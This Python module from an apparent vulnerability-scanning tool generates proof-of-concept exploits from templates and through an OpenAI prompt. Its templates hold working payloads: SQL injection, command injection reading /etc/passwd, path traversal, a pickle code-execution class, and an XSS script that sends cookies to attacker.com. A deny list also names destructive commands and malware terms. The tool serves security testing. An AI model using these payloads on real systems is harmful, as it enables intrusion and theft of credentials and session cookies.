"""Exploit generator for creating proof-of-concept security exploits."""

import json
import re
from typing import Any, Dict, List, Optional, Union

import openai
from jinja2 import Environment, Template

from .credential_manager import CredentialManager, SecurityConfig
from .threat_engine import Category, ExploitTemplate, Severity, ThreatMatch, ThreatRule


class ExploitGenerationError(Exception):
    """Exception raised when exploit generation fails."""

    pass


class ExploitContext:
    """Context information for exploit generation."""

    def __init__(
        self,
        threat_match: ThreatMatch,
        source_code: str = "",
        additional_context: Optional[Dict[str, Any]] = None,
    ):
        """Initialize exploit context.

        Args:
            threat_match: The detected threat
            source_code: The vulnerable source code
            additional_context: Additional context for exploit generation
        """
        self.threat_match = threat_match
        self.source_code = source_code
        self.additional_context = additional_context or {}


class SafetyFilter:
    """Filter to ensure exploits are safe for demonstration."""

    def __init__(self):
        """Initialize the safety filter."""
        self.dangerous_patterns = [
            r"rm\s+-rf\s+/",
            r"format\s+c:",
            r"del\s+/s\s+/q",
            r"shutdown\s+",
            r"init\s+0",
            r"halt\s+",
            r"reboot\s+",
            r">/dev/sda",
            r"dd\s+if=/dev/zero",
            r"cryptolocker",
            r"ransomware",
            r"keylogger",
            r"password\s+crack",
            r"hack\s+into",
            r"break\s+into",
            r"unauthorized\s+access",
        ]

        self.safe_replacements = {
            "/etc/passwd": "/tmp/example_file",
            "/etc/shadow": "/tmp/example_shadow",
            "whoami": "echo 'proof-of-concept'",
            "cat /etc/passwd": "cat /tmp/example_file",
            "id": "echo 'uid=1000(user) gid=1000(user)'",
            "uname -a": "echo 'Linux example 5.4.0'",
        }

    def filter_exploit(self, exploit: str) -> str:
        """Filter an exploit to make it safe for demonstration.

        Args:
            exploit: The exploit string to filter

        Returns:
            Filtered exploit string
        """
        filtered = exploit

        # Check for dangerous patterns
        for pattern in self.dangerous_patterns:
            if re.search(pattern, filtered, re.IGNORECASE):
                filtered = re.sub(
                    pattern,
                    "[REDACTED - DANGEROUS COMMAND]",
                    filtered,
                    flags=re.IGNORECASE,
                )

        # Apply safe replacements
        for dangerous, safe in self.safe_replacements.items():
            filtered = filtered.replace(dangerous, safe)

        return filtered

    def is_safe_exploit(self, exploit: str) -> bool:
        """Check if an exploit is safe for demonstration.

        Args:
            exploit: The exploit string to check

        Returns:
            True if safe, False otherwise
        """
        for pattern in self.dangerous_patterns:
            if re.search(pattern, exploit, re.IGNORECASE):
                return False
        return True


class TemplateEngine:
    """Template engine for generating exploits from templates."""

    def __init__(self):
        """Initialize the template engine."""
        self.env = Environment()
        self.templates = self._load_default_templates()

    def _load_default_templates(self) -> Dict[str, str]:
        """Load default exploit templates."""
        return {
            "sql_injection": """
-- SQL Injection Exploit
-- Original query: {{ original_query }}
-- Vulnerable parameter: {{ vulnerable_param }}

-- Basic bypass payload:
{{ vulnerable_param }}=' OR '1'='1' --

-- Union-based payload:
{{ vulnerable_param }}=' UNION SELECT username,password FROM users --

-- Boolean-based payload:
{{ vulnerable_param }}=' AND (SELECT COUNT(*) FROM users) > 0 --
            """.strip(),
            "command_injection": """
# Command Injection Exploit
# Vulnerable function: {{ vulnerable_function }}
# User input: {{ user_input }}

# Basic command injection:
{{ user_input }}; whoami

# Command chaining:
{{ user_input }} && cat /etc/passwd

# Pipe injection:
{{ user_input }} | id
            """.strip(),
            "xss_dom": """
<!-- DOM XSS Exploit -->
<!-- Vulnerable sink: {{ vulnerable_sink }} -->
<!-- User input: {{ user_input }} -->

<!-- Basic XSS payload: -->
<script>alert('XSS Proof of Concept')</script>

<!-- Data exfiltration: -->
<script>
fetch('https://attacker.com/steal?data=' + document.cookie)
</script>

<!-- DOM manipulation: -->
<script>
document.body.innerHTML = '<h1>Site Compromised</h1>';
</script>
            """.strip(),
            "deserialization": """
# Unsafe Deserialization Exploit
# Vulnerable function: {{ vulnerable_function }}
# Serialization format: {{ format }}

# Python pickle exploit:
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('echo "Proof of Concept - Command Executed"',))

exploit = pickle.dumps(Exploit())
# Send 'exploit' to the vulnerable deserializer
            """.strip(),
            "path_traversal": """
# Path Traversal Exploit
# Vulnerable parameter: {{ vulnerable_param }}
# File operation: {{ file_operation }}

# Basic directory traversal:
{{ vulnerable_param }}=../../../etc/passwd

# Null byte injection (older systems):
{{ vulnerable_param }}=../../../etc/passwd%00.txt

# URL encoded:
{{ vulnerable_param }}=..%2F..%2F..%2Fetc%2Fpasswd
            """.strip(),
        }

    def generate_from_template(
        self, template_name: str, context: Dict[str, Any]
    ) -> str:
        """Generate exploit from template.

        Args:
            template_name: Name of the template
            context: Context variables for template

        Returns:
            Generated exploit string
        """
        if template_name not in self.templates:
            raise ExploitGenerationError(f"Template '{template_name}' not found")

        template = self.env.from_string(self.templates[template_name])
        return template.render(**context)

    def add_template(self, name: str, template_content: str) -> None:
        """Add a custom exploit template.

        Args:
            name: Template name
            template_content: Template content with Jinja2 syntax
        """
        self.templates[name] = template_content


class LLMExploitGenerator:
    """LLM-based exploit generator using OpenAI API."""

    def __init__(self, config: SecurityConfig):
        """Initialize the LLM exploit generator.

        Args:
            config: Security configuration with API keys
        """
        self.config = config
        self.client = None

        if config.openai_api_key:
            openai.api_key = config.openai_api_key
            self.client = openai.OpenAI(api_key=config.openai_api_key)

    def generate_exploit(self, context: ExploitContext) -> List[str]:
        """Generate exploit using LLM.

        Args:
            context: Context for exploit generation

        Returns:
            List of generated exploit strings
        """
        if not self.client:
            raise ExploitGenerationError("OpenAI API key not configured")

        prompt = self._create_prompt(context)

        try:
            response = self.client.chat.completions.create(
                model=self.config.openai_model,
                messages=[
                    {
                        "role": "system",
                        "content": "You are a cybersecurity expert generating educational proof-of-concept exploits. "
                        "Always include warnings about responsible disclosure and legal use only. "
                        "Make exploits safe for demonstration purposes.",
                    },
                    {"role": "user", "content": prompt},
                ],
                max_tokens=self.config.openai_max_tokens,
                temperature=0.7,
            )

            exploit_text = response.choices[0].message.content

            # Parse multiple exploits if present
            exploits = self._parse_exploits(exploit_text)

            return exploits

        except Exception as e:
            raise ExploitGenerationError(f"LLM exploit generation failed: {e}")

    def _create_prompt(self, context: ExploitContext) -> str:
        """Create a prompt for LLM exploit generation.

        Args:
            context: Exploit context

        Returns:
            Formatted prompt string
        """
        threat = context.threat_match

        prompt = f"""
Generate a proof-of-concept exploit for the following security vulnerability:

**Vulnerability Details:**
- Type: {threat.rule_name}
- Description: {threat.description}
- Category: {threat.category.value}
- Severity: {threat.severity.value}
- File: {threat.file_path}
- Line: {threat.line_number}

**Vulnerable Code:**
```
{context.source_code}
```

**Code Context:**
{threat.code_snippet}

**Requirements:**
1. Generate a safe, educational proof-of-concept exploit
2. Include clear explanations of how the exploit works
3. Provide remediation advice
4. Add appropriate warnings about responsible use
5. Make the exploit safe for demonstration (no actual harm)

**Additional Context:**
{json.dumps(context.additional_context, indent=2)}

Please provide multiple exploit variations if applicable, clearly separated and labeled.
        """.strip()

        return prompt

    def _parse_exploits(self, text: str) -> List[str]:
        """Parse multiple exploits from LLM response.

        Args:
            text: LLM response text

        Returns:
            List of individual exploit strings
        """
        # Simple parsing - split by code blocks or numbered sections
        exploits = []

        # Split by code blocks
        code_blocks = re.findall(r"```[\s\S]*?```", text)
        if code_blocks:
            exploits.extend(code_blocks)

        # If no code blocks, use the entire text
        if not exploits:
            exploits = [text]

        return exploits


class ExploitGenerator:
    """Main exploit generator combining templates and LLM generation."""

    def __init__(self, credential_manager: CredentialManager):
        """Initialize the exploit generator.

        Args:
            credential_manager: Credential manager for configuration
        """
        self.credential_manager = credential_manager
        self.config = credential_manager.load_config()
        self.template_engine = TemplateEngine()
        self.safety_filter = SafetyFilter()

        # Initialize LLM generator if configured
        self.llm_generator = None
        if self.config.openai_api_key:
            self.llm_generator = LLMExploitGenerator(self.config)

    def generate_exploits(
        self, threat_match: ThreatMatch, source_code: str = "", use_llm: bool = True
    ) -> List[str]:
        """Generate exploits for a threat match.

        Args:
            threat_match: The detected threat
            source_code: The vulnerable source code
            use_llm: Whether to use LLM for generation

        Returns:
            List of exploit strings
        """
        exploits = []

        # Generate from existing templates if available
        if threat_match.exploit_examples:
            exploits.extend(threat_match.exploit_examples)

        # Generate from templates
        template_exploits = self._generate_from_templates(threat_match, source_code)
        exploits.extend(template_exploits)

        # Generate using LLM if configured and enabled
        if use_llm and self.llm_generator and self.config.enable_exploit_generation:
            try:
                context = ExploitContext(threat_match, source_code)
                llm_exploits = self.llm_generator.generate_exploit(context)
                exploits.extend(llm_exploits)
            except ExploitGenerationError as e:
                # Log error but continue with template-based exploits
                print(f"LLM exploit generation failed: {e}")

        # Apply safety filtering if enabled
        if self.config.exploit_safety_mode:
            exploits = [
                self.safety_filter.filter_exploit(exploit) for exploit in exploits
            ]

        # Remove duplicates and empty exploits
        unique_exploits = []
        seen = set()
        for exploit in exploits:
            exploit = exploit.strip()
            if exploit and exploit not in seen:
                unique_exploits.append(exploit)
                seen.add(exploit)

        return unique_exploits

    def _generate_from_templates(
        self, threat_match: ThreatMatch, source_code: str
    ) -> List[str]:
        """Generate exploits from templates.

        Args:
            threat_match: The detected threat
            source_code: The vulnerable source code

        Returns:
            List of template-generated exploits
        """
        exploits = []

        # Map categories to template names
        category_templates = {
            Category.INJECTION: ["sql_injection", "command_injection"],
            Category.XSS: ["xss_dom"],
            Category.DESERIALIZATION: ["deserialization"],
            Category.LFI: ["path_traversal"],
        }

        template_names = category_templates.get(threat_match.category, [])

        for template_name in template_names:
            try:
                context = {
                    "vulnerable_function": threat_match.function_name or "unknown",
                    "vulnerable_param": "user_input",
                    "user_input": "user_input",
                    "original_query": "SELECT * FROM users WHERE id = ?",
                    "vulnerable_sink": "innerHTML",
                    "format": "pickle",
                    "file_operation": "file_read",
                }

                exploit = self.template_engine.generate_from_template(
                    template_name, context
                )
                exploits.append(exploit)

            except ExploitGenerationError:
                # Skip failed template generation
                continue

        return exploits

    def add_custom_template(self, name: str, template_content: str) -> None:
        """Add a custom exploit template.

        Args:
            name: Template name
            template_content: Template content
        """
        self.template_engine.add_template(name, template_content)

    def is_llm_available(self) -> bool:
        """Check if LLM generation is available.

        Returns:
            True if LLM is configured and available
        """
        return self.llm_generator is not None

    def get_exploit_metadata(self, threat_match: ThreatMatch) -> Dict[str, Any]:
        """Get metadata about possible exploits for a threat.

        Args:
            threat_match: The detected threat

        Returns:
            Dictionary with exploit metadata
        """
        return {
            "category": threat_match.category.value,
            "severity": threat_match.severity.value,
            "cwe_id": threat_match.cwe_id,
            "owasp_category": threat_match.owasp_category,
            "available_templates": self._get_available_templates(threat_match.category),
            "llm_available": self.is_llm_available(),
            "safety_mode": self.config.exploit_safety_mode,
        }

    def _get_available_templates(self, category: Category) -> List[str]:
        """Get available templates for a category.

        Args:
            category: Threat category

        Returns:
            List of available template names
        """
        category_templates = {
            Category.INJECTION: ["sql_injection", "command_injection"],
            Category.XSS: ["xss_dom"],
            Category.DESERIALIZATION: ["deserialization"],
            Category.LFI: ["path_traversal"],
        }

        return category_templates.get(category, [])
